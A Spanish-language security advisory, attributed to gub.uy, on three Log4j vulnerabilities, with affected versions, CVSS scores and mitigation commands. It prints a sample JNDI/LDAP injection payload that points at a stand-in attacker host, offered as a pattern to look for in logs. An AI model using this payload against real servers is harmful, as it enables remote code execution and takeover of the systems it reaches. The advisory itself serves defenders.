Durante los últimos días se publicaron múltiples vulnerabilidades que afectan al módulo Log4j de Apache, la más crítica con el CVE 2021-44228 es una vulnerabilidad con puntaje CVSS 10/10 que desencadena un Remote Command Execution (RCE) en la librería JNDI existente en la suite de desarrollo JDK.
Además, se publicaron las vulnerabilidades CVE 2021-4104 y CVE 2021-45046, la primera del tipo RCE para aquellas que implementen JMSAppender y JMSBroker, y la segunda, de ser explotada, puede generar una denegación de servicios (DoS).
Estas vulnerabilidades afectan a múltiples sistemas como VMware Horizon, Apache Tomcat, Atlassian Confluence, Red Hat OpenShift, entre otros.
Detalles técnicos
CVE-2021-44228
Productos afectados
Versiones
Log4j | 2.0 a 2.14.1 |
La vulnerabilidad de tipo RCE ocurre debido a que la función “log4j2.formatMsgNoLookups” existente en la librería JNDI de Java, no realiza un correcto control del valor cargado. Quien ataca puede enviar una petición especialmente diseñada para lograr que el servidor afectado descargue y almacene una clase Java maliciosa, la cual le permite ejecutar código arbitrario sobre el servidor afectado.
La carga útil (payload) utilizada para realizar el ataque cumple con el siguiente formato, el cual puede ser identificado en la URI almacenada en las trazas de auditoría:
${jndi:ldap://atacante01.com/fichero01}
Existen múltiples pruebas de concepto que demuestran la facilidad y el impacto de dicha vulnerabilidad.
CVE-2021-4104
Productos afectados
Versiones
Log4j | 1.x |
La vulnerabilidad de tipo RCE solo afecta a las aplicaciones que están configuradas específicamente para usar JMSAppender, que no es el predeterminado, o cuando quien ataca tiene acceso de escritura a la configuración de Log4j para agregar JMSAppender al JMS Broker del atacante.
Quien ataca puede enviar una petición especialmente diseñada para lograr que el servidor afectado descargue y almacene una clase Java maliciosa, la cual le permite ejecutar código arbitrario sobre el servidor afectado.
Si la configuración de Log4j se establece en configuraciones TopicBindingName o TopicConnectionFactoryBindingName que permiten a JMSAppender realizar solicitudes JNDI que dan como resultado la ejecución remota de código.
CVE-2021-45046
Productos afectados
Versiones
Log4j | 2.0 beta 9 a 2.12.1 |
Log4j | 2.13.0 a 2.15.0 |
Abusando de la vulnerabilidad CVE 2021-44228 quien ataca podría inyectar código en el modulo Thread Context Map (CTX) generando un DoS.
Métricas CVSS
Vulnerabilidad SeveridadPuntajeVector
CVE-2021-44228 | Crítica | 10 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
CVE-2021-4104 | Media | 6.6 | CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H |
CVE-2021-45046 | Media | 3.7 | CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L |
Mitigaciones
Para las versiones 2.0 a la 2.15.0
En caso de no utilizar la clase JndiLookup, es posible eliminar la misma para mitigar el riesgo:
$ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Mas información en Apache Logging
Para la version 2.12.1 sobre Java 7
Es posible actualizar a la versión 2.12.2 sin necesidad de actualizar el kit SDK de Java 7 desde este repositorio de Apache.
Para las versiones 1.x
Eliminar la clase JMSAppender de la ruta de clases. Por ejemplo: zip -q -d log4j – *. jar org / apache / log4j / net / JMSAppender.class
Restringir el acceso del usuario del sistema operativo en la plataforma que ejecuta la aplicación para evitar que el atacante modifique la configuración de Log4j.
Recomendaciones
Para todas las versiones se recomienda actualizar Log4J a la versión 2.16 cuanto antes o la version 2.12.2 para el caso de Java 7.
Es importante aclarar y tener en cuenta que las versiones 1.x están en su ciclo final de vida.
Fuente: gub.uy